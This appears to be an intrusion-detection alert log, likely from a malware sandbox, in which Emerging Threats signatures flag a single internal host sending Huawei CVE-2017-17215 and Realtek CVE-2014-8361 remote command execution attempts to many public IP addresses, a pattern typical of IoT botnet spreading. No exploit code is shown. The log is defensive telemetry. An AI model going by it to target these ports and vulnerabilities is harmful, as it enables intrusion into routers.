07/20/24-23:10:56.046357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42522	37215	192.168.2.15	25.93.29.118
07/20/24-23:10:39.431804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59122	37215	192.168.2.15	197.91.175.126
07/20/24-23:10:46.652480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47806	52869	192.168.2.15	192.27.39.245
07/20/24-23:10:55.993044	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47416	37215	192.168.2.15	105.163.214.37
07/20/24-23:10:40.599066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46876	37215	192.168.2.15	175.251.123.186
07/20/24-23:11:03.361094	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34510	37215	192.168.2.15	41.250.209.83
07/20/24-23:10:52.592459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45260	37215	192.168.2.15	157.37.115.131
07/20/24-23:10:40.604940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39404	37215	192.168.2.15	128.242.117.249
07/20/24-23:10:39.492375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55852	37215	192.168.2.15	41.246.170.171
07/20/24-23:10:42.621194	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37786	52869	192.168.2.15	44.227.239.111
07/20/24-23:10:55.999553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59896	37215	192.168.2.15	110.77.226.178
07/20/24-23:10:59.001293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58992	37215	192.168.2.15	41.106.145.235
07/20/24-23:10:39.515932	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60906	52869	192.168.2.15	162.144.96.77
07/20/24-23:10:46.755097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55814	37215	192.168.2.15	197.142.184.181
07/20/24-23:10:40.649804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52060	37215	192.168.2.15	157.83.157.193
07/20/24-23:10:45.196798	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44490	52869	192.168.2.15	134.173.80.60
07/20/24-23:10:46.778936	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53418	37215	192.168.2.15	197.179.141.111
07/20/24-23:10:39.749374	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42632	52869	192.168.2.15	102.181.59.60
07/20/24-23:11:06.689532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49482	37215	192.168.2.15	157.12.13.252
07/20/24-23:10:40.604940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47708	37215	192.168.2.15	157.162.123.109
07/20/24-23:10:46.832505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56972	37215	192.168.2.15	170.182.31.89
07/20/24-23:10:51.966763	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32936	52869	192.168.2.15	222.44.99.94
07/20/24-23:10:59.023708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57332	37215	192.168.2.15	41.199.32.90
07/20/24-23:11:06.675236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41818	37215	192.168.2.15	156.190.160.63
07/20/24-23:10:39.128788	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40840	52869	192.168.2.15	212.22.178.123
07/20/24-23:10:42.621912	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42458	52869	192.168.2.15	89.171.240.248
07/20/24-23:10:40.650979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52952	37215	192.168.2.15	116.138.138.226
07/20/24-23:10:42.619429	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41586	52869	192.168.2.15	175.109.109.84
07/20/24-23:10:46.778936	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50916	37215	192.168.2.15	41.191.154.193
07/20/24-23:10:49.355429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34394	37215	192.168.2.15	197.175.59.149
07/20/24-23:10:51.992632	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57902	52869	192.168.2.15	66.88.126.168
07/20/24-23:10:43.541787	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43666	52869	192.168.2.15	66.29.130.220
07/20/24-23:10:52.521111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47582	37215	192.168.2.15	197.14.205.20
07/20/24-23:10:46.750827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49276	37215	192.168.2.15	157.34.85.223
07/20/24-23:10:39.079541	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37458	52869	192.168.2.15	219.152.75.176
07/20/24-23:10:49.380109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42270	37215	192.168.2.15	197.186.174.2
07/20/24-23:11:03.361259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59896	37215	192.168.2.15	41.155.11.69
07/20/24-23:11:03.368250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47228	37215	192.168.2.15	41.252.49.118
07/20/24-23:11:03.415682	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41208	37215	192.168.2.15	41.166.39.7
07/20/24-23:10:49.447315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43922	37215	192.168.2.15	197.131.191.105
07/20/24-23:10:39.431804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45450	37215	192.168.2.15	197.238.161.20
07/20/24-23:10:40.599066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52806	37215	192.168.2.15	157.236.94.127
07/20/24-23:10:47.838651	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34218	52869	192.168.2.15	118.30.197.237
07/20/24-23:10:52.070107	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53376	52869	192.168.2.15	157.33.175.112
07/20/24-23:10:39.132797	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44114	52869	192.168.2.15	125.46.245.158
07/20/24-23:10:40.575225	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32888	37215	192.168.2.15	193.168.188.87
07/20/24-23:10:49.430121	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60696	37215	192.168.2.15	99.203.56.30
07/20/24-23:10:42.255257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54630	37215	192.168.2.15	41.149.118.233
07/20/24-23:10:59.067929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36858	37215	192.168.2.15	157.12.194.251
07/20/24-23:11:03.361095	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48844	37215	192.168.2.15	41.190.172.77
07/20/24-23:10:47.849322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47698	52869	192.168.2.15	186.136.242.161
07/20/24-23:10:49.398416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36422	37215	192.168.2.15	197.229.194.177
07/20/24-23:10:55.993044	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41082	37215	192.168.2.15	157.118.199.64
07/20/24-23:10:39.152961	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55874	52869	192.168.2.15	134.192.167.73
07/20/24-23:10:45.826059	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38046	52869	192.168.2.15	23.213.111.232
07/20/24-23:10:49.355429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46198	37215	192.168.2.15	157.74.90.50
07/20/24-23:10:52.569477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50838	37215	192.168.2.15	220.85.62.111
07/20/24-23:10:52.592459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41532	37215	192.168.2.15	41.243.66.113
07/20/24-23:10:46.779706	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56346	37215	192.168.2.15	41.19.135.245
07/20/24-23:10:48.638182	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33318	52869	192.168.2.15	78.179.192.192
07/20/24-23:10:39.469559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43856	37215	192.168.2.15	41.109.172.235
07/20/24-23:10:59.046417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55106	37215	192.168.2.15	120.36.165.204
07/20/24-23:10:51.925000	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42642	52869	192.168.2.15	161.174.65.14
07/20/24-23:10:47.958166	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54760	52869	192.168.2.15	116.197.1.84
07/20/24-23:10:56.011228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52608	37215	192.168.2.15	197.135.90.131
07/20/24-23:10:44.240958	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34226	52869	192.168.2.15	84.101.193.179
07/20/24-23:10:47.889965	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42208	52869	192.168.2.15	166.45.141.212
07/20/24-23:10:59.027427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45774	37215	192.168.2.15	157.93.7.148
07/20/24-23:10:44.571221	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50154	52869	192.168.2.15	130.142.173.122
07/20/24-23:10:42.248307	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38994	37215	192.168.2.15	157.18.132.195
07/20/24-23:10:52.581034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38496	37215	192.168.2.15	41.245.71.93
07/20/24-23:10:56.007995	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37294	37215	192.168.2.15	197.112.33.100
07/20/24-23:10:56.011228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55218	37215	192.168.2.15	197.200.61.29
07/20/24-23:10:47.654705	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38562	52869	192.168.2.15	119.58.176.87
07/20/24-23:10:52.004720	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40028	52869	192.168.2.15	169.184.79.124
07/20/24-23:10:52.555606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58662	37215	192.168.2.15	41.254.247.207
07/20/24-23:10:42.620216	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48622	52869	192.168.2.15	73.163.96.192
07/20/24-23:10:42.248539	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33470	37215	192.168.2.15	197.111.82.33
07/20/24-23:10:42.263488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34470	37215	192.168.2.15	41.34.214.1
07/20/24-23:10:59.046417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52864	37215	192.168.2.15	197.62.85.198
07/20/24-23:10:40.110141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39414	52869	192.168.2.15	133.58.253.32
07/20/24-23:10:51.969301	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57334	52869	192.168.2.15	163.184.174.135
07/20/24-23:10:52.549474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49404	37215	192.168.2.15	197.149.2.120
07/20/24-23:11:06.676716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36432	37215	192.168.2.15	157.219.107.234
07/20/24-23:11:06.657863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44324	37215	192.168.2.15	157.3.196.179
07/20/24-23:10:52.538168	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60798	37215	192.168.2.15	62.34.29.252
07/20/24-23:10:41.227867	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60384	37215	192.168.2.15	157.15.133.184
07/20/24-23:10:41.224086	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39318	37215	192.168.2.15	41.114.104.228
07/20/24-23:10:52.029203	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41490	52869	192.168.2.15	201.38.82.44
07/20/24-23:10:45.653136	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56026	52869	192.168.2.15	71.5.90.99
07/20/24-23:10:59.029814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57584	37215	192.168.2.15	157.219.181.162
07/20/24-23:10:40.653603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45884	37215	192.168.2.15	157.106.18.30
07/20/24-23:10:41.231187	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45458	37215	192.168.2.15	178.151.190.240
07/20/24-23:10:52.538470	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47432	37215	192.168.2.15	197.23.76.28
07/20/24-23:10:51.900658	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41830	52869	192.168.2.15	221.255.54.167
07/20/24-23:10:48.320201	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50658	52869	192.168.2.15	154.8.108.34
07/20/24-23:10:51.898994	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53610	52869	192.168.2.15	184.170.67.27
07/20/24-23:10:40.652868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52524	37215	192.168.2.15	140.238.108.223
07/20/24-23:10:39.479939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47244	37215	192.168.2.15	157.169.76.138
07/20/24-23:10:47.410885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48880	52869	192.168.2.15	1.176.202.8
07/20/24-23:10:43.804824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46024	52869	192.168.2.15	137.140.74.50
07/20/24-23:11:06.680205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33620	37215	192.168.2.15	157.227.47.61
07/20/24-23:10:52.551688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33158	37215	192.168.2.15	100.137.5.97
07/20/24-23:10:46.750826	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42560	37215	192.168.2.15	197.36.72.248
07/20/24-23:10:42.636830	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46464	52869	192.168.2.15	18.50.207.232
07/20/24-23:10:55.984751	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41462	37215	192.168.2.15	168.40.43.172
07/20/24-23:10:52.569477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46682	37215	192.168.2.15	157.197.250.97
07/20/24-23:10:56.024592	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48574	37215	192.168.2.15	197.237.231.99
07/20/24-23:10:49.409236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48168	37215	192.168.2.15	157.200.28.4
07/20/24-23:11:06.683012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49286	37215	192.168.2.15	41.229.107.116
07/20/24-23:10:40.653603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55772	37215	192.168.2.15	157.136.199.255
07/20/24-23:10:44.028699	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51834	52869	192.168.2.15	167.80.147.223
07/20/24-23:10:59.057854	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44800	37215	192.168.2.15	41.170.246.100
07/20/24-23:10:41.228259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35100	37215	192.168.2.15	157.118.142.72
07/20/24-23:10:51.905303	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49230	52869	192.168.2.15	166.150.32.219
07/20/24-23:10:46.726397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59452	37215	192.168.2.15	41.63.7.91
07/20/24-23:10:44.637464	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52598	52869	192.168.2.15	161.93.54.6
07/20/24-23:10:47.680323	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45624	52869	192.168.2.15	211.213.18.108
07/20/24-23:10:55.995070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50642	37215	192.168.2.15	157.14.80.20
07/20/24-23:10:46.832505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53182	37215	192.168.2.15	41.78.213.186
07/20/24-23:11:03.406798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44780	37215	192.168.2.15	124.198.16.179
07/20/24-23:11:06.696229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58472	37215	192.168.2.15	118.195.136.102
07/20/24-23:10:46.755097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49986	37215	192.168.2.15	157.82.70.179
07/20/24-23:10:49.447315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54176	37215	192.168.2.15	69.83.208.136
07/20/24-23:10:41.241455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43444	37215	192.168.2.15	197.135.54.100
07/20/24-23:10:46.810541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59880	37215	192.168.2.15	197.70.99.46
07/20/24-23:10:42.620216	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44816	52869	192.168.2.15	125.46.245.158
07/20/24-23:10:52.569477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34420	37215	192.168.2.15	147.97.199.44
07/20/24-23:10:49.420934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43056	37215	192.168.2.15	197.153.57.179
07/20/24-23:10:52.558618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50846	37215	192.168.2.15	41.239.43.82
07/20/24-23:10:46.810541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40276	37215	192.168.2.15	41.24.221.239
07/20/24-23:10:39.391618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57164	52869	192.168.2.15	91.159.64.203
07/20/24-23:10:39.473748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42690	37215	192.168.2.15	197.74.96.150
07/20/24-23:11:06.706397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47794	37215	192.168.2.15	197.157.158.254
07/20/24-23:10:41.231287	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47704	37215	192.168.2.15	157.31.242.46
07/20/24-23:10:43.197086	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38332	52869	192.168.2.15	92.216.196.59
07/20/24-23:10:40.599066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44088	37215	192.168.2.15	54.134.33.11
07/20/24-23:10:41.221768	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46468	37215	192.168.2.15	157.37.222.176
07/20/24-23:10:40.662520	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54186	37215	192.168.2.15	41.21.7.132
07/20/24-23:10:42.253016	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54072	37215	192.168.2.15	41.126.48.213
07/20/24-23:10:44.575723	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33552	52869	192.168.2.15	46.156.254.69
07/20/24-23:10:39.162925	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60444	52869	192.168.2.15	23.180.240.118
07/20/24-23:10:42.625706	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43008	52869	192.168.2.15	8.126.91.237
07/20/24-23:10:52.551688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42154	37215	192.168.2.15	41.171.21.228
07/20/24-23:10:52.581035	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36456	37215	192.168.2.15	65.159.253.195
07/20/24-23:10:44.666926	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52020	52869	192.168.2.15	92.195.216.129
07/20/24-23:11:03.382352	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36134	37215	192.168.2.15	117.145.143.198
07/20/24-23:10:41.243831	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52868	37215	192.168.2.15	197.41.11.247
07/20/24-23:10:49.360961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41952	37215	192.168.2.15	41.238.110.13
07/20/24-23:11:06.663147	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40880	37215	192.168.2.15	107.109.242.56
07/20/24-23:10:39.198702	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38462	52869	192.168.2.15	37.21.17.204
07/20/24-23:10:44.615528	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59672	52869	192.168.2.15	87.2.229.121
07/20/24-23:11:03.343633	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39704	37215	192.168.2.15	41.233.64.238
07/20/24-23:10:46.779706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40774	37215	192.168.2.15	41.229.212.87
07/20/24-23:10:51.988569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35012	52869	192.168.2.15	87.46.238.224
07/20/24-23:10:42.620951	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38952	52869	192.168.2.15	131.159.98.164
07/20/24-23:10:39.492375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47548	37215	192.168.2.15	41.1.217.148
07/20/24-23:11:03.378926	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45540	37215	192.168.2.15	157.173.187.89
07/20/24-23:10:42.641904	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33094	52869	192.168.2.15	80.66.53.41
07/20/24-23:10:43.558832	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47892	52869	192.168.2.15	208.41.148.99
07/20/24-23:10:51.955556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35572	52869	192.168.2.15	84.101.193.179
07/20/24-23:11:03.381593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42144	37215	192.168.2.15	41.230.65.230
07/20/24-23:10:39.434124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45790	37215	192.168.2.15	41.106.243.14
07/20/24-23:10:43.220759	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58788	52869	192.168.2.15	197.206.241.145
07/20/24-23:10:43.459650	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43790	52869	192.168.2.15	74.74.206.232
07/20/24-23:10:53.786733	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52728	52869	192.168.2.15	170.247.115.65
07/20/24-23:10:52.578509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42362	37215	192.168.2.15	152.185.119.107
07/20/24-23:11:03.378465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35240	37215	192.168.2.15	197.208.193.169
07/20/24-23:10:52.564314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41838	37215	192.168.2.15	197.252.37.33
07/20/24-23:10:39.173718	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35130	52869	192.168.2.15	32.169.224.65
07/20/24-23:11:03.396755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59700	37215	192.168.2.15	157.33.184.127
07/20/24-23:10:42.629188	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32912	52869	192.168.2.15	23.180.240.118
07/20/24-23:10:42.661465	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47494	52869	192.168.2.15	222.46.101.20
07/20/24-23:10:52.021884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59256	52869	192.168.2.15	77.15.142.198
